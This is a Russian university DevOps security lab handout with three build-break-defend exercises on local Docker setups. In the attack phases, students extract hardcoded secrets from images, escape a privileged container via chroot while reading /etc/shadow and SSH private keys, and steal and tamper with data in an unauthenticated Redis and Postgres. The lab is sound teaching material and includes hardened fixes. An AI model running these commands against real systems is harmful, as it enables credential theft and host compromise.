0% нашли этот документ полезным (0 голосов)
2 просмотров16 страниц

DevOps Security Lab

Документ описывает лабораторную работу по безопасности DevOps-инфраструктуры, в которой студенты учатся развертыванию уязвимого приложения, эксплуатации уязвимостей и их устранению с использованием Docker и других инструментов. Задания включают в себя создание уязвимых Docker-образов, эксплуатацию уязвимостей для извлечения секретов и защиту систем с применением лучших практик безопасности. Лабораторная работа направлена на формирование привычки Security-first мышления и понимание рисков, связанных с DevOps.

Загружено:

nicepeopleproject
Авторское право
© All Rights Reserved
Мы серьезно относимся к защите прав на контент. Если вы подозреваете, что это ваш контент, заявите об этом здесь.
Доступные форматы
Скачать в формате DOCX, PDF, TXT или читать онлайн в Scribd
0% нашли этот документ полезным (0 голосов)
2 просмотров16 страниц

DevOps Security Lab

Документ описывает лабораторную работу по безопасности DevOps-инфраструктуры, в которой студенты учатся развертыванию уязвимого приложения, эксплуатации уязвимостей и их устранению с использованием Docker и других инструментов. Задания включают в себя создание уязвимых Docker-образов, эксплуатацию уязвимостей для извлечения секретов и защиту систем с применением лучших практик безопасности. Лабораторная работа направлена на формирование привычки Security-first мышления и понимание рисков, связанных с DevOps.

Загружено:

nicepeopleproject
Авторское право
© All Rights Reserved
Мы серьезно относимся к защите прав на контент. Если вы подозреваете, что это ваш контент, заявите об этом здесь.
Доступные форматы
Скачать в формате DOCX, PDF, TXT или читать онлайн в Scribd

ЛАБОРАТОРНАЯ РАБОТА

DevOps Security: Построй, Сломай,


Защити

Практическое задание по безопасности DevOps-инфраструктуры


Курс: DevOps — от принципов к практике

Уровень: Магистратура
Время: 4–6 академических часов
Формат: Индивидуально или в парах
Инструменты: Docker, Docker Compose, Git
Введение
В этой лабораторной работе вы пройдёте полный цикл DevOps Security: сначала
развернёте уязвимое приложение, затем самостоятельно проэксплуатируете три
критические уязвимости, и наконец — устраните их, применив лучшие практики
безопасности.

Важно!
Все действия выполняются ТОЛЬКО на локальной машине в изолированной Docker-среде.
Запрещено применять полученные знания против чужих систем. Это уголовное преступление.

Цели работы
• Понять, как типичные ошибки конфигурации приводят к компрометации системы
• Научиться эксплуатировать уязвимости для понимания реального ущерба
• Освоить инструменты и практики защиты DevOps-инфраструктуры
• Сформировать привычку Security-first мышления

Что вам потребуется


• Docker и Docker Compose (версия 2.x+)
• Git
• Текстовый редактор (VS Code рекомендуется)
• Терминал (bash / zsh / PowerShell)
• curl или Postman для HTTP-запросов
• Базовые знания Linux, Docker, сетей

Структура задания
Работа состоит из трёх независимых задач. Каждая задача проходит по одному
сценарию:

Этап ПОСТРОЙ СЛОМАЙ ЗАЩИТИ


Действие Разворачиваете уязвимую Эксплуатируете Устраняете проблему,
систему по инструкции уязвимость, фиксируете проверяете что атака
результат больше невозможна
Задача 1. Утечка секретов из Docker-образа
Тема: Хардкод секретов в Dockerfile и [Link] — как это приводит к полной
компрометации учётных данных.

Фаза 1: ПОСТРОЙ
Создайте следующую структуру проекта:
vulnerable-app/
├── [Link]
├── Dockerfile
├── [Link]
└── [Link]

Файл: [Link]
flask==3.0.0
psycopg2-binary==2.9.9

Файл: [Link]
import os
from flask import Flask, jsonify

app = Flask(__name__)

DB_HOST = [Link]('DB_HOST', 'localhost')


DB_USER = [Link]('DB_USER', 'admin')
DB_PASSWORD = [Link]('DB_PASSWORD', 'changeme')
API_KEY = [Link]('API_KEY', 'no-key')

@[Link]('/')
def index():
return jsonify({"status": "running", "db_host": DB_HOST})

@[Link]('/health')
def health():
return jsonify({"healthy": True, "db_user": DB_USER})

@[Link]('/debug')
def debug():
# Опасный endpoint — выводит все env vars
return jsonify(dict([Link]))

if __name__ == '__main__':
[Link](host='[Link]', port=5000)
Файл: Dockerfile (УЯЗВИМЫЙ)
FROM python:3.11

WORKDIR /app

# Ошибка 1: секреты в ENV-инструкциях


ENV DB_PASSWORD="SuperSecretPass_2024!"
ENV API_KEY="sk-live-4f3c2b1a0987654321fedcba"
ENV AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCY"

COPY [Link] .
RUN pip install -r [Link]

COPY . .

EXPOSE 5000
CMD ["python", "[Link]"]

Файл: [Link] (УЯЗВИМЫЙ)


version: '3.8'
services:
web:
build: .
ports:
- "5000:5000"
environment:
- DB_HOST=[Link]
- DB_USER=root
- DB_PASSWORD=SuperSecretPass_2024!
- API_KEY=sk-live-4f3c2b1a0987654321fedcba
- JWT_SECRET=my-super-secret-jwt-key-never-share

db:
image: postgres:15
environment:
POSTGRES_PASSWORD: SuperSecretPass_2024!
POSTGRES_USER: root
POSTGRES_DB: production
ports:
- "5432:5432" # БД открыта наружу!

Соберите и запустите:
docker compose up -d --build
# Убедитесь, что [Link] отвечает
Фаза 2: СЛОМАЙ
Цель: извлечь ВСЕ секреты из системы тремя разными способами.

Атака A: Извлечение секретов через Docker History


Даже если контейнер остановлен, секреты из ENV-инструкций навсегда сохраняются в
слоях образа.
# Посмотрите историю слоёв образа
docker history vulnerable-app-web --no-trunc

# Запишите: какие секреты вы видите?

Атака B: Дамп переменных окружения работающего контейнера


# Способ 1: через docker inspect
docker inspect vulnerable-app-web-1 --format='{{json .[Link]}}' | python3 -m
[Link]

# Способ 2: через exec внутри контейнера


docker exec vulnerable-app-web-1 env

# Способ 3: через опасный /debug endpoint


curl [Link] | python3 -m [Link]

Атака C: Прямое подключение к базе данных


# БД открыта на порту 5432, пароль известен
psql -h localhost -U root -d production
# или через Docker:
docker exec -it vulnerable-app-db-1 psql -U root -d production

# Попробуйте: \l (list databases), \du (list users)

Что зафиксировать:
Сделайте скриншоты всех найденных секретов. Запишите: сколько секретов утекло, каким
способом, и какой потенциальный ущерб каждый из них может нанести (например: AWS-ключ
→ доступ к облаку, JWT secret → подделка токенов).

Фаза 3: ЗАЩИТИ
Теперь устраните все найденные проблемы.

Шаг 1: Убрать секреты из Dockerfile


Перепишите Dockerfile — никаких ENV с секретами:
FROM python:3.11-slim

RUN groupadd -r appuser && useradd -r -g appuser appuser

WORKDIR /app
COPY [Link] .
RUN pip install --no-cache-dir -r [Link]
COPY . .

USER appuser
EXPOSE 5000
CMD ["python", "[Link]"]

Шаг 2: Использовать Docker Secrets + .env файл


Создайте файл .env (и добавьте его в .gitignore!):
# .env (этот файл НЕ коммитить!)
DB_PASSWORD=SuperSecretPass_2024!
API_KEY=sk-live-4f3c2b1a0987654321fedcba
JWT_SECRET=my-super-secret-jwt-key-never-share

Обновлённый [Link]:
version: '3.8'
services:
web:
build: .
ports:
- "5000:5000"
env_file:
- .env
environment:
- DB_HOST=db
- DB_USER=appuser
depends_on:
- db

db:
image: postgres:15
environment:
POSTGRES_PASSWORD_FILE: /run/secrets/db_password
POSTGRES_USER: appuser
POSTGRES_DB: appdata
secrets:
- db_password
# ports: убраны! БД не доступна снаружи

secrets:
db_password:
file: ./secrets/db_password.txt
Шаг 3: Удалить /debug endpoint и добавить .gitignore
# .gitignore
.env
secrets/
*.pem
*.key

Шаг 4: Проверка
1. Пересоберите: docker compose up -d --build
2. Проверьте docker history — секретов больше нет в слоях
3. Проверьте docker inspect — секреты не в environment
4. Проверьте, что порт 5432 больше не доступен с хоста
5. Проверьте, что /debug endpoint удалён (404)

Критерий выполнения:
docker history не показывает секреты, docker inspect не содержит паролей в Env, БД недоступна
с хоста, /debug возвращает 404.
Задача 2. Побег из контейнера через привилегированный
режим
Тема: Запуск контейнера с --privileged и монтированием хостовой файловой системы
позволяет получить полный контроль над хостом.

Фаза 1: ПОСТРОЙ
Создайте уязвимый [Link], имитирующий «сервис мониторинга», которому
«нужен доступ к Docker»:

Файл: [Link] (УЯЗВИМЫЙ)


version: '3.8'
services:
monitor:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
privileged: true # Полные привилегии!
pid: host # Видит процессы хоста!
volumes:
- /:/host # Вся FS хоста смонтирована!
- /var/run/[Link]:/var/run/[Link] # Docker socket!

webapp:
image: nginx:alpine
ports:
- "8080:80"

Запустите:
docker compose up -d

Фаза 2: СЛОМАЙ
Цель: продемонстрировать, что из контейнера monitor можно получить полный доступ к
хосту.

Атака A: Чтение файлов хоста


# Зайдите в контейнер
docker exec -it escape-lab-monitor-1 sh

# Прочитайте пароли хоста


cat /host/etc/shadow

# Прочитайте SSH-ключи пользователей


ls /host/home/*/.ssh/
cat /host/home/*/.ssh/id_rsa 2>/dev/null || echo 'нет ключей'

# Прочитайте конфиги Docker


cat /host/root/.docker/[Link] 2>/dev/null

Атака B: Просмотр процессов хоста


# Внутри контейнера (pid: host)
ps aux

# Вы видите ВСЕ процессы хоста!


# Можно увидеть секреты в аргументах команд

Атака C: Побег через chroot


# Полный побег на хост через chroot
chroot /host /bin/bash

# Теперь вы фактически root на хосте:


whoami # root
hostname # имя хоста, не контейнера!
docker ps # видите все контейнеры

# Выход: exit

Что зафиксировать:
Скриншоты: содержимое /host/etc/shadow, список процессов хоста, результат whoami и
hostname после chroot. Опишите: что мог бы сделать злоумышленник с таким доступом.

Фаза 3: ЗАЩИТИ
Перепишите [Link] с минимальными привилегиями:

Исправленный [Link]
version: '3.8'
services:
monitor:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
# Убрано: privileged, pid: host, опасные volumes
read_only: true # Read-only filesystem
tmpfs:
- /tmp # Только /tmp для записи
security_opt:
- no-new-privileges:true # Запрет эскалации
cap_drop:
- ALL # Убрать все capabilities
cap_add:
- NET_RAW # Только нужные (для ping)
deploy:
resources:
limits:
memory: 256M
cpus: '0.5'

webapp:
image: nginx:alpine
ports:
- "8080:80"
read_only: true
tmpfs:
- /var/cache/nginx
- /tmp
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE

Проверка
1. Пересоберите: docker compose up -d
2. Зайдите в контейнер: docker exec -it ... sh
3. Убедитесь: /host не существует, ps aux показывает только процессы контейнера
4. Попробуйте: chroot /host — должно быть «No such file or directory»
5. Попробуйте записать файл: touch /[Link] — должно быть «Read-only file system»

Критерий выполнения:
Контейнер не видит файловую систему хоста, не видит процессы хоста, не может записать
файлы, не может выполнить chroot. Docker socket не смонтирован.
Задача 3. Эксплуатация незащищённой сети между
контейнерами
Тема: По умолчанию все контейнеры в docker-compose видят друг друга.
Скомпрометированный контейнер может атаковать соседей.

Фаза 1: ПОСТРОЙ
Создайте микросервисную архитектуру из трёх сервисов: фронтенд, API и база данных с
Redis-кэшем.

Файл: [Link] (УЯЗВИМЫЙ)


version: '3.8'
services:
frontend:
image: alpine:latest
command: sh -c "apk add --no-cache curl nmap redis && sleep infinity"
# Имитируем frontend с утилитами

api:
image: alpine:latest
command: sh -c "apk add --no-cache python3 py3-pip && pip install flask redis
--break-system-packages && python3 /app/[Link]"
volumes:
- ./api:/app

redis:
image: redis:7-alpine
# Без пароля!

db:
image: postgres:15-alpine
environment:
POSTGRES_PASSWORD: admin123
POSTGRES_USER: admin
POSTGRES_DB: users

Файл: api/[Link]
from flask import Flask, jsonify
import redis

app = Flask(__name__)
cache = [Link](host='redis', port=6379)
@[Link]('/api/users')
def users():
[Link]('api_calls')
return jsonify({'users': ['alice', 'bob'], 'calls':
int([Link]('api_calls'))})

@[Link]('/api/secret')
def secret():
[Link]('admin_token', '[Link]')
return jsonify({'status': 'token cached'})

if __name__ == '__main__':
[Link](host='[Link]', port=8000)

Создайте директорию и запустите:


mkdir -p api
# Сохраните [Link] в api/[Link]
docker compose up -d

# Сгенерируйте данные: зайдите в api контейнер и вызовите


docker exec -it network-lab-api-1 sh -c 'curl [Link]

Фаза 2: СЛОМАЙ
Цель: Из «скомпрометированного» frontend-контейнера обнаружить и атаковать все
сервисы в сети.

Атака A: Разведка сети


# Зайдите в frontend (имитируя компрометацию)
docker exec -it network-lab-frontend-1 sh

# Сканирование сети — найдите все хосты


nmap -sn [Link]/24 2>/dev/null || nmap -sn [Link]/24

# Сканирование портов найденных хостов


nmap -p 1-10000 redis
nmap -p 1-10000 db
nmap -p 1-10000 api

Атака B: Кража данных из Redis


# Redis без пароля — подключаемся напрямую
redis-cli -h redis

# Посмотрите все ключи


KEYS *
# Украдите admin-токен
GET admin_token

# Подмените данные (подделка кэша)


SET admin_token 'hacked-token-12345'

# Проверьте — API теперь использует поддельный токен

Атака C: Подключение к PostgreSQL


# Из frontend-контейнера — подключаемся к БД
# (установите postgresql-client если нужно)
apk add --no-cache postgresql-client

# Подключение — пароль admin123 (угадывается или найден в compose)


PGPASSWORD=admin123 psql -h db -U admin -d users

# Посмотрите таблицы, создайте ложного админа:


CREATE TABLE IF NOT EXISTS admins (id serial, name text, role text);
INSERT INTO admins VALUES (1, 'hacker', 'superadmin');

Что зафиксировать:
Скриншоты: результаты nmap (какие сервисы и порты видит frontend), содержимое Redis
(admin_token), подключение к PostgreSQL. Опишите: почему frontend не должен видеть БД
напрямую.

Фаза 3: ЗАЩИТИ
Создайте сетевую изоляцию через Docker networks:

Исправленный [Link]
version: '3.8'
services:
frontend:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
networks:
- frontend-net # Только frontend-сеть!

api:
image: alpine:latest
command: sh -c "apk add --no-cache python3 py3-pip && pip install flask redis
--break-system-packages && python3 /app/[Link]"
volumes:
- ./api:/app
networks:
- frontend-net # frontend может ходить в api
- backend-net # api может ходить в redis/db

redis:
image: redis:7-alpine
command: redis-server --requirepass "StrongRedisPass!"
networks:
- backend-net # Только backend!

db:
image: postgres:15-alpine
environment:
POSTGRES_PASSWORD_FILE: /run/secrets/db_pass
POSTGRES_USER: app_service
POSTGRES_DB: users
secrets:
- db_pass
networks:
- backend-net # Только backend!

networks:
frontend-net:
driver: bridge
backend-net:
driver: bridge
internal: true # Нет доступа в интернет!

secrets:
db_pass:
file: ./secrets/db_password.txt

Проверка
1. Пересоберите: docker compose down && docker compose up -d
2. Из frontend попробуйте: ping redis — должно быть «Name does not resolve»
3. Из frontend попробуйте: ping db — должно быть «Name does not resolve»
4. Из frontend: curl [Link] — должно работать
5. Из api: redis-cli -h redis -a StrongRedisPass! PING — PONG
6. Из frontend: redis-cli -h redis — не должно подключаться

Критерий выполнения:
frontend может обращаться только к api. frontend НЕ видит redis и db. Redis защищён паролем.
Сеть backend-net имеет флаг internal: true (нет выхода в интернет).
Требования к отчёту
По результатам работы подготовьте отчёт, содержащий:

1. Титульный лист с ФИО, группой и датой


2. Для каждой из 3 задач:

◦ Скриншоты фазы «СЛОМАЙ» с пояснениями: что именно вы сделали и


какой результат получили
◦ Описание потенциального ущерба: что мог бы сделать реальный
злоумышленник
◦ Исходный код исправленных файлов (фаза «ЗАЩИТИ»)
◦ Скриншоты проверки: доказательство того, что уязвимость устранена

3. Таблицу-сводку (заполните):

Уязвимость Вектор атаки Потенциальный ущерб Метод защиты

Хардкод секретов

Privileged контейнер

Flat network

4. Раздел «Выводы»: какие принципы безопасности вы усвоили, что удивило.

Критерии оценки

Критерий Баллы Комментарий

Задача 1 — фаза СЛОМАЙ 10 Все 3 атаки выполнены

Задача 1 — фаза ЗАЩИТИ 10 Секреты убраны из образа

Задача 2 — фаза СЛОМАЙ 10 Побег через chroot

Задача 2 — фаза ЗАЩИТИ 10 Минимальные привилегии

Задача 3 — фаза СЛОМАЙ 10 Данные из Redis + DB

Задача 3 — фаза ЗАЩИТИ 10 Сетевая изоляция работает

Качество отчёта 15 Скриншоты, пояснения,


выводы

Таблица-сводка 10 Все ячейки заполнены


корректно
Бонус: доп. уязвимость 15 Найти и устранить 4-ю
проблему

ИТОГО (макс.) 100 85 без бонуса

Бонусное задание
Найдите и устраните хотя бы одну дополнительную уязвимость в любой из задач, которая
не была описана в основном задании. Примеры того, что можно поискать:
• Контейнеры запускаются от root-пользователя (USER не указан)
• Используется тег latest вместо фиксированной версии образа
• Отсутствие health checks
• Логирование секретов в stdout
• Отсутствие ограничений на ресурсы (memory/CPU limits)
• Возможность DNS rebinding или SSRF через внутренние сервисы

Опишите найденную уязвимость, покажите её эксплуатацию и предложите исправление.

Курс «DevOps: от принципов к практике» — Магистратура — МГТУ им. Н.Э. Баумана

Вам также может понравиться